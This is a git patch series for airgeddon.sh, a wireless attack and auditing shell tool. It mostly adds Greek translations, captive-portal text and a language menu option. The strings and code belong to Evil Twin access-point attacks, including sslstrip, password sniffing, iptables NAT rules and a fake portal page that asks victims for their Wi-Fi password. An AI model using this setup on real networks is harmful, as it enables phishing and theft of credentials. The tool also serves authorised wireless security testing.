arr["russian",280]="На этом экране предполагается, что выбран дополнительный интерфейс для предоставления Интернет доступа, но у вас его на текущий момент нет" + arr["greek",280]="Σε αυτή την οθόνη, υποτίθεται πως επιλέγεται μία επιπρόσθετη διεπαφή που παρέχει πρόσβαση στο διαδίκτυο, αλλά δεν έχετε κανέναν αυτή τη στιγμή" arr["english",281]="The interface $interface you have already selected is not a wifi card. This attack needs a wifi card selected" arr["spanish",281]="El interfaz $interface que tienes seleccionado no es una tarjeta wifi. Este ataque necesita que la interfaz seleccionada sea wifi" @@ -2313,13 +2614,15 @@ function language_strings() { arr["catalan",281]="La interfície $interface que tens seleccionada no és una targeta wifi. Aquest atac necessita que la interfície seleccionada sigui wifi" arr["portuguese",281]="$pending_of_translation A interface $interface que você selecionou não é um cartão de wifi. Este ataque requer que a interface selecionada é wifi" arr["russian",281]="Интерфейс $interface, который вы выбрали не является Wi-Fi картой. Эта атака требует выбрать wifi карту" + arr["greek",281]="Η διεπαφή $interface που έχετε ήδη επιλέξει δεν έιναι κάρτα wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" arr["english",282]="Selected internet interface: "${pink_color}"$internet_interface"${normal_color} arr["spanish",282]="Interfaz con internet seleccionada: "${pink_color}"$internet_interface"${normal_color} arr["french",282]="Interface internet sélectionnée: "${pink_color}"$internet_interface"${normal_color} arr["catalan",282]="Interfície amb internet seleccionada: "${pink_color}"$internet_interface"${normal_color} arr["portuguese",282]="$pending_of_translation Interface da internet selecionado: "${pink_color}"$internet_interface"${normal_color} - arr["russian",282]=" Выбранный Интернет интерфейс: "${pink_color}"$internet_interface"${normal_color} + arr["russian",282]="Выбранный Интернет интерфейс: "${pink_color}"$internet_interface"${normal_color} + arr["greek",282]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: "${pink_color}"$internet_interface"${normal_color} arr["english",283]="Selected internet interface: "${pink_color}"None"${normal_color} arr["spanish",283]="Interfaz con internet seleccionada: "${pink_color}"Ninguna"${normal_color} @@ -2327,6 +2630,7 @@ function language_strings() { arr["catalan",283]="Interfície amb internet seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",283]="$pending_of_translation Interface da internet selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",283]="Выбранный интернет интерфейс: "${pink_color}"Отсутствует"${normal_color} + arr["greek",283]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: "${pink_color}"Καμία"${normal_color} arr["english",284]="Do you want to use this selected interface? "${normal_color}"[y/n]" arr["spanish",284]="¿Quieres utilizar esta interfaz ya seleccionada? "${normal_color}"[y/n]" @@ -2334,6 +2638,7 @@ function language_strings() { arr["catalan",284]="¿Vols fer servir aquesta interfície ja seleccionada? "${normal_color}"[y/n]" arr["portuguese",284]="$pending_of_translation Você quer usar já estiver selecionada interface? "${normal_color}"[y/n]" arr["russian",284]="Вы хотите использовать этот выбранный интерфейс? "${normal_color}"[y/n]" + arr["greek",284]="Θέλετε να χρησιμοποιήσετε αυτή την επιλεγμένη διεπαφή? "${normal_color}"[y/n]" arr["english",285]="Selected interface with internet access detected during this session ["${normal_color}"$internet_interface"${blue_color}"]" arr["spanish",285]="Se ha detectado que ya tiene un interfaz con acceso a internet seleccionada en esta sesión ["${normal_color}"$internet_interface"${blue_color}"]" @@ -2341,6 +2646,7 @@ function language_strings() { arr["catalan",285]="S'ha detectat que ja té una interfície amb accés a internet seleccionada en aquesta sessió ["${normal_color}"$internet_inferface"${blue_color}"]" arr["portuguese",285]="$pending_of_translation Verificou-se já que tem uma interface com acesso à internet seleccionado nesta sessão ["${normal_color}"$internet_inferface"${blue_color}"]" arr["russian",285]="Во время этой сессии обнаружен выбранный интерфейс с Интернет подключением ["${normal_color}"$internet_interface"${blue_color}"]" + arr["greek",285]="Η επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο εντοπίστηκε κατά τη διάρκεια της συνεδρίας ["${normal_color}"$internet_interface"${blue_color}"]" arr["english",286]="If you don't have a captured Handshake file from the target network you can get it using this script choosing the appropriate submenu option before coming here to launch this attack" arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo con este script en el submenú adecuado antes de venir aquí a lanzar este ataque" @@ -2348,6 +2654,7 @@ function language_strings() { arr["catalan",286]="Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo amb aquest script en el submenú adequat abans de venir aquí a llançar aquest atac" arr["portuguese",286]="$pending_of_translation Se você não tem um arquivo handshake capturado a partir do alvo da rede pode obtê-lo com este script no submenu apropriado antes de vir aqui para lançar este ataque" arr["russian",286]="$pending_of_translation Если у вас нет файла квитирующего захваченного из целевой сети может получить его с помощью этого сценария в соответствующем подменю до приезда сюда, чтобы запустить эту атаку" + arr["greek",286]="$pending_of_translation Εάν δεν έχετε ένα αρχείο χειραψία συλλαμβάνεται από τον στόχο του δικτύου μπορεί να το πάρει με αυτό το σενάριο στο κατάλληλο υπομενού πριν έρθει εδώ για να ξεκινήσει αυτή την επίθεση" arr["english",287]="The script will check for internet access. Please be patient..." arr["spanish",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -2355,6 +2662,7 @@ function language_strings() { arr["catalan",287]="El script comprovarà si tens accés a internet. Si us plau sigues pacient..." arr["portuguese",287]="$pending_of_translation O script irá verificar se você tem acesso à internet. Por favor, seja paciente..." arr["russian",287]="Этот скрипт проверит Интернет доступ. Подождите немного..." + arr["greek",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ κάντε υπομονή..." arr["english",288]="It seems you have no internet access. This attack needs an interface with internet access" arr["spanish",288]="Parece que no tienes conexión a internet. Este ataque necesita una interfaz con acceso a internet" @@ -2362,6 +2670,7 @@ function language_strings() { arr["catalan",288]="Sembla que no tens connexió a internet. Aquest atac necessita una interfície amb accés a internet" arr["portuguese",288]="$pending_of_translation Parece que você não tem acesso à internet. Este ataque precisa de uma interface com acesso à internet" arr["russian",288]="Судя по всему, у вас нет Интернет доступа. Эта атака требует интерфейс с Интернет доступом" + arr["greek",288]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Αυτή η επίθεση χρειάζεται μία διεπαφή με πρόσβαση στο διαδίκτυο" arr["english",289]="It has been verified successfully you have internet access on selected interface. Script can continue..." arr["spanish",289]="Se ha verificado correctamente que tienes acceso a internet en la interfaz seleccionada. El script puede continuar..." @@ -2369,6 +2678,7 @@ function language_strings() { arr["catalan",289]="S'ha verificat correctament que tens accés a internet a la interfície seleccionada. El script pot continuar..." arr["portuguese",289]="$pending_of_translation Verificou-se com sucesso que você tem acesso à internet na interface selecionada. O script pode continuar..." arr["russian",289]="Проверка Интернет доступа прошла успешно на выбранном интерфейс. Скрипт может продолжать..." + arr["greek",289]="Επαληθεύτηκε επιτυχώς πως έχετε πρόσβαση στο διαδίκτυο με την επιλεγμένη διεπαφή. Το script μπορεί να συνεχίσει..." arr["english",290]="It seems you have internet access but not in the selected interface acting as interface with internet access" arr["spanish",290]="Parece que tienes conexión a internet pero no en la interfaz seleccionada como interfaz con acceso a internet" @@ -2376,6 +2686,7 @@ function language_strings() { arr["catalan",290]="Sembla que tens connexió a internet però no en la interfície seleccionada com a interfície amb accés a internet" arr["portuguese",290]="$pending_of_translation Parece que você tem internet, mas não na interface selecionada como uma interface com acesso à internet" arr["russian",290]="Судя по всему у вас есть Интернет доступ, но не на выбранном для Интернет доступа интерфейсе" + arr["greek",290]="Φαίνεται πως έχετε πρόσβαση στο διαδίκτυο αλλά όχι στην επιλεγμένη διεπαφή που ενεργεί ως διεπαφή με πρόσβαση στο διαδίκτυο" arr["english",291]="Evil Twin AP attack with sniffing" arr["spanish",291]="Ataque Evil Twin AP con sniffing" @@ -2383,6 +2694,7 @@ function language_strings() { arr["catalan",291]="Atac Evil Twin AP amb sniffing" arr["portuguese",291]="$pending_of_translation Ataque Evil Twin AP com sniffing" arr["russian",291]="Атака Злой Двойник ТД со сниффингом" + arr["greek",291]="Επίθεση Evil Twin AP με sniffing" arr["english",292]="Evil Twin AP attack with sniffing and sslstrip" arr["spanish",292]="Ataque Evil Twin AP con sniffing y sslstrip" @@ -2390,6 +2702,7 @@ function language_strings() { arr["catalan",292]="Atac Evil Twin AP amb sniffing i sslstrip" arr["portuguese",292]="$pending_of_translation Ataque Evil Twin AP com sniffing e sslstrip" arr["russian",292]="Атака Злой Двойник ТД со сниффингом и sslstrip" + arr["greek",292]="Επίθεση Evil Twin AP με sniffing και sslstrip" arr["english",293]="Evil Twin AP attack with captive portal" arr["spanish",293]="Ataque Evil Twin AP con portal cautivo" @@ -2397,6 +2710,7 @@ function language_strings() { arr["catalan",293]="Atac Evil Twin AP amb portal captiu" arr["portuguese",293]="$pending_of_translation Ataque Evil Twin AP com portal cativo" arr["russian",293]="Атака Злой Двойник ТД с перехватывающим порталом" + arr["greek",293]="Επίθεση Evil Twin AP με αιχμαλωσία πύλης" arr["english",294]="Detecting resolution... Detected! : "${normal_color}"$resolution" arr["spanish",294]="Detectando resolución... Detectada! : "${normal_color}"$resolution" @@ -2404,6 +2718,7 @@ function language_strings() { arr["catalan",294]="Detectant resolució... Detectada! : "${normal_color}"$resolution" arr["portuguese",294]="$pending_of_translation Detecção de resolução... Detectada! : "${normal_color}"$resolution" arr["russian",294]="Определение разрешения... Определено! : "${normal_color}"$resolution" + arr["greek",294]="Εντοπίζεται η ανάλυση... Εντοπίστηκε! : "${normal_color}"$resolution" arr["english",295]="Detecting resolution... Can't be detected!, using standard : "${normal_color}"$resolution" arr["spanish",295]="Detectando resolución... No se ha podido detectar!, usando estándar : "${normal_color}"$resolution" @@ -2411,6 +2726,7 @@ function language_strings() { arr["catalan",295]="Detectant resolució... No s'ha pogut detectar!, usant estàndard : "${normal_color}"$resolution" arr["portuguese",295]="$pending_of_translation Detectando resolução... Não foi possível detectar!, usando o padrão : "${normal_color}"$resolution" arr["russian",295]="Определение разрешения... Не получается определить!, используется стандартное : "${normal_color}"$resolution" + arr["greek",295]="Εντοπίζεται η ανάλυση... Δεν μπορεί να εντοπιστεί!, χρησιμοποιείται η προεπιλεγμένη : "${normal_color}"$resolution" arr["english",296]="All parameters and requirements are set. The attack is going to start. Multiple windows will be opened, don't close anyone. When you want to stop the attack press Enter on this window and the script will automatically close them all" arr["spanish",296]="Todos los parámetros y requerimientos están listos. Va a comenzar el ataque. Se abrirán múltiples ventanas, no cierres ninguna. Cuando quieras parar el ataque pulsa Enter en esta ventana y el script cerrará automaticamente todo" @@ -2418,6 +2734,7 @@ function language_strings() { arr["catalan",296]="Tots els paràmetres i requeriments estan preparats. Començarà l'atac. S'obriran múltiples finestres, no tanquis cap. Quan vulguis parar l'atac prem Enter en aquesta finestra i el script tancarà automàticament tot" arr["portuguese",296]="$pending_of_translation Todos os parâmetros e requisitos estão prontos. Você vai começar o ataque. várias janelas, não fechar qualquer aberto. Quando quiser parar o ataque pressione Enter nesta janela eo script irá fechar automaticamente todos" arr["russian",296]="Все параметры и требования готовы. Атака может быть начата. Будет открыто много окон, не закрывайте какое-либо. Когда вы захотите остановить атаку, нажмите Enter в этом окне и скрипт автоматически их все закроет" + arr["greek",296]="Όλοι οι παράμετροι και οι απαιτήσεις έχουν τεθεί. Η επίθεση πρόκειται να ξεκινήσει. Θα ανοίξουν πολλαπλά παράθυρα, μην επιχειρήσετε να κλείσετε κάποιο. Όταν θελήσετε να σταματήσετε την επίθεση πατήστε Enter σε αυτό το παράθυρο και το script θα τα κλείσει όλα" arr["english",297]="Cleaning iptables and routing rules" arr["spanish",297]="Limpiando iptables y reglas de routing" @@ -2425,6 +2742,7 @@ function language_strings() { arr["catalan",297]="Netejant iptables i regles de routing" arr["portuguese",297]="$pending_of_translation Limpar iptables e regras de roteamento" arr["russian",297]="Очистка iptables и правило маршрутизации" + arr["greek",297]="Γινεται καθαρισμός των iptables και των κανόνων δρομολόγησης" arr["english",298]="Evil Twin attack has been started. Press Enter key on this window to stop it" arr["spanish",298]="El ataque Evil Twin ha comenzado. Pulse la tecla Enter en esta ventana para pararlo" @@ -2432,6 +2750,7 @@ function language_strings() { arr["catalan",298]="L'atac Evil Twin ha començat. Prem Enter a aquesta finestra per aturar-lo" arr["portuguese",298]="$pending_of_translation Evil Twin ataque começou. Pressione a tecla Enter nesta janela para parar" arr["russian",298]="Атака Злой Двойник начата. Для её остановки клавишу Enter в этом окне" + arr["greek",298]="Η επίθεση Evil Twin ξεκίνησε. Πατήστε το κουμπί Enter σε αυτό το παράθυρο για να την σταματήσετε" arr["english",299]="Restoring interface..." arr["spanish",299]="Restaurando interfaz..." @@ -2439,6 +2758,7 @@ function language_strings() { arr["catalan",299]="Restablint interfície..." arr["portuguese",299]="$pending_of_translation Interface de restauração..." arr["russian",299]="Восстановление интерфейса..." + arr["greek",299]="Γίνεται επαναφορά διεπαφής..." arr["english",300]="If make work xpdyinfo command, the script will be able to calculate your screen resolution and show you the windows in a better way. Depending of the system, the package name could be x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["spanish",300]="Si haces que funcione en tu sistema el comando xdpyinfo, el script podrá calcular tu resolución de pantalla y mostrarte las ventanas de forma más optimizada. Dependiendo del sistema el paquete puede llamarse x11-utils, xdpyinfo, xorg-xdpyinfo, etc." @@ -2446,6 +2766,7 @@ function language_strings() { arr["catalan",300]="Si fas que funcioni en el teu sistema l'ordre xdpyinfo, el script podrà calcular la teva resolució de pantalla i mostrar-te les finestres de forma més optimitzada. Depenent del sistema el paquet pot dir-se x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["portuguese",300]="$pending_of_translation Se você fizer o comando xdpyinfo para trabalhar em seu sistema, o script irá calcular a sua resolução de tela e janelas de mostra de uma forma mais otimizada. Dependendo do sistema, o pacote pode ser chamado X11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["russian",300]="Если использовать команду xpdyinfo, скрипт сможет определить разрешение вашего экрана и показать окна лучшим образом. В зависимости от системы, имя пакета может быть x11-utils, xdpyinfo, xorg-xdpyinfo, и т.д." + arr["greek",300]="Αν δουλέψει η εντολή xpdyinfo, το script θα μπορέσει να υπολογίσει την ανάλυση της οθόνης και να δείχνει τα παράθυρα καλύτερα. Εξαρτάται από το σύστημα, το όνομα του πακέτου μπορεί να είναι x11-utils, xdpyinfo, xorg-xdpyinfo, κτλπ." arr["english",301]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install lspci (pciutils) and you don't have it right now. Please, install it and launch the script again" arr["spanish",301]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado lspci (pciutils) y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" @@ -2453,13 +2774,15 @@ function language_strings() { arr["catalan",301]="Tot i tenir totes les eines essencials instal·lades, el teu sistema fa servir airmon-zc en lloc del airmon-ng. Per poder funcionar necessites tenir instal·lat lspci (pciutils) i tu no el tens en aquest moment. Si us plau, instal·la-ho i torna a executar el script" arr["portuguese",301]="$pending_of_translation Apesar de ter todas as ferramentas essenciais instalado, o sistema utiliza airmon-zc vez de airmon-ng. Para funcionar você precisa instalar lspci (pciutils) e você não tem neste momento. Por favor, instale e execute o script novamente" arr["russian",301]="Не смотря на то, что установлены все необходимые основные инструменты, ваша система использует airmon-zc вместо airmon-ng. Чтобы работа проходила должным образом, вам нужно установить lspci (pciutils), которых в данный момент у вас нет. Пожалуйста, установите их и запустите скрипт снова" + arr["greek",301]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το lspci (pciutils) το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["english",302]="Do you want to store in a file the sniffed captured passwords? "${blue_color}"If you answer no (\"n\") they will be only shown on screen "${normal_color}"[y/n]" arr["spanish",302]="¿Deseas guardar en un fichero las contraseñas obtenidas del sniffing? "${blue_color}"Si respondes que no (\"n\") solo se mostrarán por pantalla "${normal_color}"[y/n]" arr["french",302]="Voulez vous garder les mots de passe capturés dans un fichier? "${blue_color}"Si vous répondez non (\"n\") les mots de passe s'afficheront à l'écran "${normal_color}"[y/n]" arr["catalan",302]="¿Vols guardar en un fitxer les contrasenyes obtingudes del sniffing? "${blue_color}"Si respons que no (\"n\") només es mostraran per pantalla "${normal_color}"[y/n]" arr["portuguese",302]="$pending_of_translation Você deseja manter senhas em um arquivo obtido a partir de cheirar? "${blue_color}"Se você responder não (\"n\") só será mostrado na tela "${normal_color}"[y/n]" - arr["russian",302]=" Вы хотите сохранить в файл захваченные сниффингом пароли? "${blue_color}"Если ваш ответ нет (\"n\") они будут только показаны на экране "${normal_color}"[y/n]" + arr["russian",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? "${blue_color}"Если ваш ответ нет (\"n\") они будут только показаны на экране "${normal_color}"[y/n]" + arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς? "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" arr["english",303]="Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_ettercap_logpath]" arr["spanish",303]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_ettercap_logpath]" @@ -2467,6 +2790,7 @@ function language_strings() { arr["catalan",303]="Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_ettercap_logpath]" arr["portuguese",303]="$pending_of_translation Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_ettercap_logpath]" arr["russian",303]="Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_ettercap_logpath]" + arr["greek",303]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$default_ettercap_logpath]" arr["english",304]="Parsing sniffer log..." arr["spanish",304]="Analizando log del sniffer.." @@ -2474,6 +2798,7 @@ function language_strings() { arr["catalan",304]="Analitzant log del sniffer..." arr["portuguese",304]="$pending_of_translation Sniffer log análise..." arr["russian",304]="Разбор журнала сниффера..." + arr["greek",304]="Γίνεται ανάλυση του log του sniffer..." arr["english",305]="No passwords detected on sniffers's log. File will not be saved" arr["spanish",305]="No se ha encontrado ninguna contraseña en el log del sniffer. No se guardará el fichero" @@ -2481,6 +2806,7 @@ function language_strings() { arr["catalan",305]="No s'ha trobat cap contrasenya en el log del sniffer. No es guarda el fitxer" arr["portuguese",305]="$pending_of_translation Ele não foi encontrado qualquer registo de senha sniffer. O arquivo não será salvo" arr["russian",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" + arr["greek",305]="Δεν εντοπίστηκαν κωδικοί στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" arr["english",306]="Passwords captured by sniffer. File saved at "${normal_color}"[$ettercap_logpath]" arr["spanish",306]="El sniffer ha capturado contraseñas. Fichero salvado en "${normal_color}"[$ettercap_logpath]" @@ -2488,6 +2814,7 @@ function language_strings() { arr["catalan",306]="El sniffer ha capturat contrasenyes. Fitxer desat a "${normal_color}"[$ettercap_logpath]" arr["portuguese",306]="$pending_of_translation O sniffer capturou senhas. I arquivo salvo no "${normal_color}"[$ettercap_logpath]" arr["russian",306]="Сниффер захватил пароли. Файл сохранён в "${normal_color}"[$ettercap_logpath]" + arr["greek",306]="Κωδικοί καταγράφτηκαν από τον sniffer. Το αρχείο αποθηκεύτηκε στο "${normal_color}"[$ettercap_logpath]" arr["english",307]="Language changed to Russian" arr["spanish",307]="Idioma cambiado a Ruso" @@ -2495,6 +2822,7 @@ function language_strings() { arr["catalan",307]="Idioma canviat a Rus" arr["portuguese",307]="$pending_of_translation Idioma alterado para Russo" arr["russian",307]="Язык изменён на русский" + arr["greek",307]="Η γλάσσα άλλαξε σε Ρωσικά" arr["english",308]="6. Russian" arr["spanish",308]="6. Ruso" @@ -2502,6 +2830,7 @@ function language_strings() { arr["catalan",308]="6. Rus" arr["portuguese",308]="6. Russo" arr["russian",308]="6. Русский" + arr["greek",308]="6. Ρωσικά" arr["english",309]="Sslstrip technique is not infallible. It depends on many factors and not always work. Some browsers such as Mozilla Firefox latest versions are not affected" arr["spanish",309]="La tecnica sslstrip no es infalible. Depende de muchos factores y no funciona siempre. Algunos navegadores como las últimas versiones de Mozilla Firefox no se ven afectados" @@ -2509,6 +2838,7 @@ function language_strings() { arr["catalan",309]="La tècnica sslstrip no és infal·lible. Depèn de molts factors i no funciona sempre. Alguns navegadors com les últimes versions de Mozilla Firefox no es veuen afectats" arr["portuguese",309]="$pending_of_translation A técnica sslstrip não é infalível. Depende de muitos factores e nem sempre funciona. Alguns navegadores como o Mozilla Firefox versões mais recentes não são afetados" arr["russian",309]="Техника sslstrip не является надёжной. Эффект программы зависит от многих факторов и иногда она просто не работает. Некоторые браузеры, такие как Mozilla Firefox последних версий, не подвержены атаке" + arr["greek",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" arr["english",310]="Handshake file selected: "${pink_color}"None"${normal_color} arr["spanish",310]="Fichero de handshake seleccionado: "${pink_color}"Ninguno"${normal_color} @@ -2580,6 +2910,14 @@ function language_strings() { arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" + arr["english",320]="7. Greek" + arr["spanish",320]="7. Griego" + arr["french",320]="7. Grecque" + arr["catalan",320]="7. Grec" + arr["portuguese",320]="7. Grego" + arr["russian",320]="7. греческий" + arr["greek",320]="7. Ελληνικά" + case "$3" in "yellow") interrupt_checkpoint ${2} ${3} @@ -2946,6 +3284,7 @@ function language_menu() { language_strings ${language} 116 language_strings ${language} 249 language_strings ${language} 308 + language_strings ${language} 320 print_hint ${current_menu} read language_selected @@ -3005,6 +3344,15 @@ function language_menu() { fi language_strings ${language} 115 "read" ;; + 7) + if [ "$language" = "greek" ]; then + language_strings ${language} 251 "yellow" + else + language="greek" + language_strings ${language} 310 "yellow" + fi + language_strings ${language} 115 "read" + ;; *) invalid_language_selected ;; @@ -4417,6 +4765,9 @@ function set_captive_portal_language() { 6) captive_portal_language="russian" ;; + 7) + captive_portal_language="greek" + ;; *) invalid_captive_portal_language_selected ;; From 34b38d320a834e3c9e8112acd5203c281fdf95ea Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 25 Sep 2016 10:37:56 +0200 Subject: [PATCH 05/23] Indentation of captive portal files and some js corrections --- airgeddon.sh | 244 ++++++++++++++++++++++++++++++++------------------- 1 file changed, 152 insertions(+), 92 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index d629b9dc5..7736e5627 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=0 +debug_mode=1 #Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 auto_update=1 @@ -112,7 +112,7 @@ pending_of_translation="[PoT]" escaped_pending_of_translation="\[PoT\]" standard_resolution="1024x768" -#Dhcpd and Hostapd vars +#Dhcpd, Hostapd and misc Evil Twin vars ip_range="192.168.1.0" alt_ip_range="172.16.250.0" router_ip="192.168.1.1" @@ -139,6 +139,7 @@ indexfile="index.htm" checkfile="check.htm" cssfile="portal.css" jsfile="portal.js" +attemptsfile="ag.et_attempts.txt" possible_dhcp_leases_files=( "/var/lib/dhcp/dhcpd.leases" "/var/state/dhcp/dhcpd.leases" @@ -329,7 +330,7 @@ function language_strings() { et_misc_texts["english",10]="Enter your wireless network password to get internet access" et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" - et_misc_texts["french",10]="Entrez votre accès d'aile de mot de passe du réseau sans fil d'accès à internet" + et_misc_texts["french",10]="Entrez votre accès d'aile de mot de passe du réseau sans fil d'accès à internet" et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés ala xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" @@ -359,6 +360,30 @@ function language_strings() { et_misc_texts["russian",13]="послать" et_misc_texts["greek",13]="Υποτάσσομαι" + et_misc_texts["english",14]="An unexpected error occurred, redirecting to the main screen" + et_misc_texts["spanish",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" + et_misc_texts["french",14]="Une erreur inattendue est survenue, la redirection vers l'écran principal" + et_misc_texts["catalan",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" + et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a tela principal" + et_misc_texts["russian",14]="Произошла неожиданная ошибка, перенаправлять на главный экран" + et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, τον αναπροσανατολισμό προς την κύρια οθόνη" + + et_misc_texts["english",15]="Internet Portal" + et_misc_texts["spanish",15]="Portal de Internet" + et_misc_texts["french",15]="Portail Internet" + et_misc_texts["catalan",15]="Portal d'Internet" + et_misc_texts["portuguese",15]="Portal Internet" + et_misc_texts["russian",15]="Интернет-портал" + et_misc_texts["greek",15]="Διαδικτυακή πύλη" + + et_misc_texts["english",16]="The password must be at least 8 characters" + et_misc_texts["spanish",16]="La contraseña debe tener al menos 8 caracteres" + et_misc_texts["french",16]="Le mot de passe doit être d'au moins 8 caractères" + et_misc_texts["catalan",16]="La contrasenya ha de tenir almenys 8 caràcters" + et_misc_texts["portuguese",16]="A senha deve ter pelo menos 8 caracteres" + et_misc_texts["russian",16]="Пароль должен быть не менее 8 символов" + et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες" + declare -A arr arr["english",0]="This interface $interface is already in managed mode" arr["spanish",0]="Esta interfaz $interface ya está en modo managed" @@ -2097,7 +2122,7 @@ function language_strings() { arr["greek",216]="Δεν βρέθηκαν δίκτυα με Χειραψία στο επιλεγμένο αρχείο" arr["english",217]="Only one valid target detected on file. BSSID autoselected ["${normal_color}"$bssid"${blue_color}"]" - arr["spanish",217]="Sólo un objetivo valido detectado en el fichero. Se ha seleccionado automáticamente el BSSID ["${normal_color}"$bssid"${blue_color}"]" + arr["spanish",217]="Sólo un objetivo válido detectado en el fichero. Se ha seleccionado automáticamente el BSSID ["${normal_color}"$bssid"${blue_color}"]" arr["french",217]="Le seul réseau valide présent dans le fichier choisi a été sélectionné automatiquement, son BSSID est ["${normal_color}"$bssid"${blue_color}"]" arr["catalan",217]="Només un objectiu vàlid detectat en el fitxer. S'ha seleccionat automàticament el BSSID ["${normal_color}"$bssid"${blue_color}"]" arr["portuguese",217]="$pending_of_translation Apenas um valido objetivo detectado no arquivo. É selecionado automaticamente BSSID ["${normal_color}"$bssid"${blue_color}"]" @@ -4742,6 +4767,7 @@ function set_captive_portal_language() { language_strings ${language} 116 language_strings ${language} 249 language_strings ${language} 308 + language_strings ${language} 320 print_hint ${current_menu} read captive_portal_language_selected @@ -5171,7 +5197,7 @@ function set_std_internet_routing_rules() { iptables -t nat -A POSTROUTING -o ${internet_interface} -j MASQUERADE iptables -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT - iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP + #iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP sleep 2 } @@ -5359,82 +5385,98 @@ function set_captive_portal_page() { mkdir "$tmpdir$webdir" > /dev/null 2>&1 echo -e "body * {" > "$tmpdir$webdir$cssfile" - echo -e "box-sizing: border-box;" >> "$tmpdir$webdir$cssfile" - echo -e "font-family: Helvetica, Arial, sans-serif;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\tbox-sizing: border-box;" >> "$tmpdir$webdir$cssfile" + echo -e "\tfont-family: Helvetica, Arial, sans-serif;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e ".button {" >> "$tmpdir$webdir$cssfile" - echo -e "color: #ffffff;" >> "$tmpdir$webdir$cssfile" - echo -e "background-color: #1b5e20;" >> "$tmpdir$webdir$cssfile" - echo -e "border-radius: 5px;" >> "$tmpdir$webdir$cssfile" - echo -e "cursor: pointer;" >> "$tmpdir$webdir$cssfile" - echo -e "height: 30px;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\tcolor: #ffffff;" >> "$tmpdir$webdir$cssfile" + echo -e "\tbackground-color: #1b5e20;" >> "$tmpdir$webdir$cssfile" + echo -e "\tborder-radius: 5px;" >> "$tmpdir$webdir$cssfile" + echo -e "\tcursor: pointer;" >> "$tmpdir$webdir$cssfile" + echo -e "\theight: 30px;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e ".content {" >> "$tmpdir$webdir$cssfile" - echo -e "width: 100%;" >> 